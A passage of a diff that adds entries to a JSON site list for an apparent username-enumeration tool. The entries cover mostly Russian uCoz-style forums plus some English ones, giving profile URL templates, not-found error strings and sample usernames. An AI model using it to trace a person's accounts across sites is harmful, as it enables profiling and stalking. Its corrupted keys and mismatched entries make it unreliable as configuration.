"[а-яА-Я]", + "url": "https://www.reseau-naturiste.org/user/{}", + "urlMain": "https://www.reseau-naturiste.org/", + "usernameON": "Sephora", + "bad_site": "" + }, + "Forum_respecta": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.respecta.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.respecta.net/", + "usernameON": "NBN93", + "comments": "vzlom", + "bad_site": 1 + }, + "Forum_resto_clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://resto.clan.su/index/8-0-{}", + "urlMain": "https://resto.clan.su", + "usernameON": "Riminy", + "bad_site": "" + }, + "Forum_retrievertraining": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.retrievertraining.net/members/?username={}", + "urlMain": "https://www.retrievertraining.net", + "usernameON": "johndbarrow", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rewar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rewar.me/index/8-0-{}", + "urlMain": "https://rewar.me/", + "usernameON": "mashery", + "bad_site": "" + }, + "Forum_rexmill": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rexmill.ucoz.ru/index/8-0-{}", + "urlMain": "https://rexmill.ucoz.ru/", + "usernameON": "mun686", + "bad_site": "" + }, + "Forum_rezzoclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.rezzoclub.ru/index/8-0-{}", + "urlMain": "http://www.rezzoclub.ru", + "usernameON": "Rapidrezzo", + "bad_site": "" + }, + "Forum_rg_myqip": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://rg.myqip.ru/?32-{}", + "urlMain": "https://rg.myqip.ru", + "usernameON": "marii", + "bad_site": "" + }, + "Forum_rhytmic": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://rhytmic.borda.ru/?32-{}", + "urlMain": "https://rhytmic.borda.ru", + "usernameON": "mammy", + "bad_site": "" + }, + "Forum_ribalka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ribalka.ucoz.org/index/8-0-{}", + "urlMain": "http://ribalka.ucoz.org", + "usernameON": "Андрей0508", + "bad_site": "" + }, + "Forum_richelieu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rieltori.narod2.ru/index/8-0-{}", + "urlMain": "http://rieltori.narod2.ru", + "usernameON": "natayovzhik", + "bad_site": "" + }, + "Forum_riga-luna": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://riga-luna.ucoz.ru/index/8-0-{}", + "urlMain": "https://riga-luna.ucoz.ru", + "usernameON": "Talahassy", + "bad_site": "" + }, + "Forum_rima-pendzhieva": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rima-pendzhieva.ucoz.ru/index/8-0-{}", + "urlMain": "https://rima-pendzhieva.ucoz.ru", + "usernameON": "morozov2112", + "bad_site": "" + }, + "Forum_rio4": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rio4.ucoz.ru/index/8-0-{}", + "urlMain": "https://rio4.ucoz.ru/", + "usernameON": "Fakskaxip", + "bad_site": "" + }, + "Forum_rivianowners": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.rivianownersforum.com/members/?username={}", + "urlMain": "https://www.rivianownersforum.com", + "usernameON": "swampnut", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rkls76": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rkls76.ucoz.ru/index/8-0-{}", + "urlMain": "https://rkls76.ucoz.ru", + "usernameON": "JosephBon", + "bad_site": "" + }, + "Forum_rks": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует ", + "errorMsg2": " :: ", + "errorTyp��": "message", + "url": "https://forum.rks.kr.ua/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.rks.kr.ua", + "usernameON": "Mistika24", + "bad_site": "" + }, + "Forum_rllmukforum": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "0 results", + "errorMsg2": "Sorry", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.rllmukforum.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.rllmukforum.com", + "usernameON": "yakumo", + "bad_site": "" + }, + "Forum_rmmedia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Указанный пользователь не найден. Пожалуйста, введите другое имя.", + "errorMsg2": "<title>Полезные пользователи | Rmmedia.ru", + "errorMsg3": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://rmmedia.ru/members/?username={}", + "urlMain": "https://rmmedia.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_rmrp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rmrp.ru/members/?username={}", + "urlMain": "https://forum.rmrp.ru", + "usernameON": "alqoile", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_roadbikereview": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.roadbikereview.com/members/?username={}", + "urlMain": "https://www.roadbikereview.com", + "usernameON": "finx", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_roadcontrol_BLOCK_RU_IP": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorMsg3": "page_pageNotFound", + "errorTyp��": "message", + "url": "https://roadcontrol.org/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://roadcontrol.org", + "usernameON": "%D0%90ndrew", + "bad_site": "" + }, + "Forum_rock-metalwave": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rock-metal-wave.ru/index/8-0-{}", + "urlMain": "https://rock-metal-wave.ru", + "usernameON": "0919swdsnb", + "bad_site": "" + }, + "Forum_rodgers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://rodgersforum.borda.ru/?32-{}", + "urlMain": "https://rodgersforum.borda.ru", + "usernameON": "hata1979", + "bad_site": "" + }, + "Forum_rodniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rodniki.do.am/index/8-0-{}", + "urlMain": "http://rodniki.do.am", + "usernameON": "N278", + "bad_site": "" + }, + "Forum_rodnovira": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rodnovira.ucoz.ru/index/8-0-{}", + "urlMain": "https://rodnovira.ucoz.ru", + "usernameON": "vioooila", + "bad_site": "" + }, + "Forum_rodoslav": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorTyp��": "message", + "url": "http://www.rohitab.com/discuss/index.php?app=core&module=search&do=search&andor_type=&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=0", + "urlMain": "http://www.rohitab.com", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Forum_rokslide": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rokslide.com/forums/members/?username={}", + "urlMain": "https://rokslide.com", + "usernameON": "ukisan", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rollerclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorMsg3": "Срок регистрации домена истек", + "errorTyp��": "message", + "url": "http://forum.rollerclub.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.rollerclub.ru", + "usernameON": "snb", + "bad_site": "" + }, + "Forum_Rollitup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.rollitup.org/members/?username={}", + "urlMain": "https://www.rollitup.org", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_romhacking": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://romhacking.ru/index/8-0-{}", + "urlMain": "https://romhacking.ru", + "usernameON": "debbietk1", + "bad_site": "" + }, + "Forum_romkaq": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://romkaq.ucoz.ru/index/8-0-{}", + "urlMain": "http://romkaq.ucoz.ru", + "usernameON": "luntik333vlz", + "bad_site": "" + }, + "Forum_root_cern": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://root-forum.cern.ch/u/{}/summary", + "urlMain": "https://root-forum.cern.ch", + "usernameON": "bellenot", + "bad_site": "" + }, + "Forum_rosalinux": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorMsg3": "Вы не можете произвести поиск сразу после предыдущего", + "errorTyp��": "message", + "url": "https://forum.rosalinux.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rosalinux.ru", + "comments": "cf", + "usernameON": "Kelpee", + "bad_site": "" + }, + "Forum_rosen": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.rosen.com/u/{}/summary", + "urlMain": "https://forum.rosen.com", + "usernameON": "rdu2018", + "bad_site": "" + }, + "Forum_roses": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://roses.ucoz.ru/index/8-0-{}", + "urlMain": "https://roses.ucoz.ru", + "usernameON": "Roses", + "bad_site": "" + }, + "Forum_rostov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum-rostov.ucoz.org/index/8-0-{}", + "urlMain": "https://forum-rostov.ucoz.org", + "usernameON": "Надя", + "bad_site": "" + }, + "Forum_rotarusofi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rotarusofi.ucoz.ru/index/8-0-{}", + "urlMain": "https://rotarusofi.ucoz.ru", + "usernameON": "Zvezdochka", + "bad_site": "" + }, + "Forum_rottweiler": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://rottweiler.ucoz.ru/index/8-0-{}", + "urlMain": "http://rottweiler.ucoz.ru/", + "usernameON": "Лекс2003", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_router": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.routerforums.com/members/?username={}", + "urlMain": "https://www.routerforums.com", + "usernameON": "difalkner", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_royalcaribbeanblog": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.royalcaribbeanblog.com/boards/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.royalcaribbeanblog.com/", + "usernameON": "mamashark", + "bad_site": "" + }, + "Forum_rpg_net": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rpg.net/members/?username={}", + "urlMain": "https://forum.rpg.net", + "usernameON": "muddypaw", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rpgcodex": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rpgcodex.net/forums/members/?username={}", + "urlMain": "https://rpgcodex.net", + "usernameON": "jed", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rpgnuke": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.rpgnuke.ru/search/?q={}&type=core_members", + "urlMain": "https://forum.rpgnuke.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_Rt20_getbb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www.rt20.getbb.ru/search.php?keywords=&terms=all&author=Tekumze111", + "urlMain": "http://www.rt20.getbb.ru", + "usernameON": "vevk", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_ru-xbox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ru-xbox.ru/index/8-0-{}", + "urlMain": "https://ru-xbox.ru", + "usernameON": "D1mkanx", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_ru_minecraft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ru-minecraft.ru/user/{}", + "urlMain": "https://ru-minecraft", + "usernameON": "dedepete", + "bad_site": "" + }, + "Forum_rudtp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rudtp.ru/members/?username={}", + "urlMain": "https://forum.rudtp.ru/", + "usernameON": "irma190", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_rugby": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessun argomento o messaggio con", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.rugby.it/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rugby.it", + "usernameON": "admin", + "comments": "super", + "bad_site": 1 + }, + "Forum_rumyantsevo": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rurip.ucoz.ru/index/8-0-{}", + "urlMain": "https://rurip.ucoz.ru", + "usernameON": "lomaempochtu", + "bad_site": "" + }, + "Forum_rus-sv-relig": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rus-sv.ucoz.ru/index/8-0-{}", + "urlMain": "https://rus-sv.ucoz.ru/", + "usernameON": "%D0%9E%D0%BB%D0%B0", + "bad_site": "" + }, + "Forum_rus_pravda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://русскаяправда.su/index/8-0-{}", + "urlMain": "http://русскаяправда.su", + "usernameON": "PashaAlexpit", + "bad_site": "" + }, + "Forum_rusartknife": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rushistory.3dn.ru/index/8-0-{}", + "urlMain": "https://rushistory.3dn.ru", + "usernameON": "uesterr", + "bad_site": "" + }, + "Forum_rusich_ua": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rusich.at.ua/index/8-0-{}", + "urlMain": "https://rusich.at.ua", + "usernameON": "gh1990", + "bad_site": "" + }, + "Forum_ruskeys": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ruskeys.forum24.ru/?32-{}", + "urlMain": "https://ruskeys.forum24.ru/", + "usernameON": "aboc4", + "bad_site": "" + }, + "Forum_ruspatriot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ruspatriot.ucoz.ru/index/8-0-{}", + "urlMain": "https://ruspatriot.ucoz.ru/", + "usernameON": "emailomaempochty", + "bad_site": "" + }, + "Forum_russiainwar": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://russian-france.ru/index/8-0-{}", + "urlMain": "http://russian-france.ru", + "usernameON": "Airin", + "bad_site": "" + }, + "Forum_russianskyeterriers": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://russims.ru/index/8-0-{}", + "urlMain": "http://russims.ru", + "usernameON": "Nikolette", + "bad_site": "" + }, + "Forum_russkie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://russkie.ucoz.ru/index/8-0-{}", + "urlMain": "https://russkie.ucoz.ru", + "usernameON": "russkie", + "bad_site": "" + }, + "Forum_rvnetwork": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://www.rvnetwork.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.rvnetwork.com/", + "usernameON": "GeorgiaHybrid", + "bad_site": "" + }, + "Forum_rwg_cc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rwg.cc/search/?q={}&quick=1&type=core_members", + "urlMain": "https://rwg.cc", + "usernameON": "Mike", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rx7fb": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.rx7fb.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "http://www.rx7fb.com", + "usernameON": "Hellramsden", + "bad_site": "" + }, + "Forum_ryazandog": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://rybnoe.net/index/8-0-{}", + "urlMain": "https://rybnoe.net", + "usernameON": "alavatsky", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_rzn": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.rzn.info/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rzn.info", + "usernameON": "Williamhar", + "bad_site": "" + }, + "Forum_rzngmu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rzngmu.ru/index/8-0-{}", + "urlMain": "http://rzngmu.ru/", + "usernameON": "artem300", + "bad_site": "" + }, + "Forum_s-kh": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.s-kh.ru/index/8-0-{}", + "urlMain": "http://www.s-kh.ru", + "usernameON": "fillkenna", + "bad_site": "" + }, + "Forum_s4me": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.s4me.info/members/?username={}", + "urlMain": "https://www.s4me.info", + "usernameON": "adrian", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_s7staff": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://s7staff.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://s7staff.kamrbb.ru", + "usernameON": "yadn", + "bad_site": "" + }, + "Forum_saabcentral": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.saabcentral.com/members/?username={}", + "urlMain": "https://www.saabcentral.com", + "usernameON": "aerokyle", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sabnzbd": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.sabnzbd.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.sabnzbd.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_saddoboxing": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registere", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.saddoboxing.com/boxingforum/member.php?username={}", + "urlMain": "https://www.saddoboxing.com", + "usernameON": "Beanz", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_safakulevo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://safakulevo.ucoz.ru/index/8-0-{}", + "urlMain": "https://safakulevo.ucoz.ru", + "usernameON": "ninokids", + "bad_site": "" + }, + "Forum_sailboards": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://sailboardsforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://sailboardsforum.com", + "usernameON": "Arf", + "bad_site": "" + }, + "Forum_sailingforums": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://sailingforums.com/members/?username={}", + "urlMain": "https://sailingforums.com", + "usernameON": "sweetime", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sailnet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sailnet.com/members/?username={}", + "urlMain": "https://www.sailnet.com", + "usernameON": "colemj", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_saintsrowmods": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.saintsrowmods.com/forum/members/?username={}", + "urlMain": "https://www.saintsrowmods.com", + "usernameON": "elchuy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_salekhardnews": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://salekhardnews.ucoz.ru/index/8-0-{}", + "urlMain": "https://salekhardnews.ucoz.ru", + "usernameON": "ACID", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_salfetka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salfetka.at.ua/index/8-0-{}", + "urlMain": "https://salfetka.at.ua", + "usernameON": "Yarinka", + "bad_site": "" + }, + "Forum_salo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salo.ucoz.ru/index/8-0-{}", + "urlMain": "https://salo.ucoz.ru", + "usernameON": "Vitalinestik", + "bad_site": "" + }, + "Forum_salon-gala": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salon-gala.moy.su/index/8-0-{}", + "urlMain": "https://salon-gala.moy.su", + "usernameON": "hairs", + "bad_site": "" + }, + "Forum_salsa": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.salsaforums.com/members/?username={}", + "urlMain": "https://www.salsaforums.com", + "usernameON": "so1001", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_samara-clad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://samara-clad.ru/index/8-0-{}", + "urlMain": "http://samara-clad.ru", + "usernameON": "Dersu", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_samara-gaming": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samara-gaming.clan.su/index/8-0-{}", + "urlMain": "https://samara-gaming.clan.su", + "usernameON": "deirdremo3", + "bad_site": "" + }, + "Forum_samarahunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "404 Not Found", + "errorTyp��": "message", + "url": "http://samarahunter.ru/forums/member.php?username={}", + "urlMain": "http://samarahunter.ru", + "usernameON": "Lonsdale", + "bad_site": "" + }, + "Forum_samatow": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 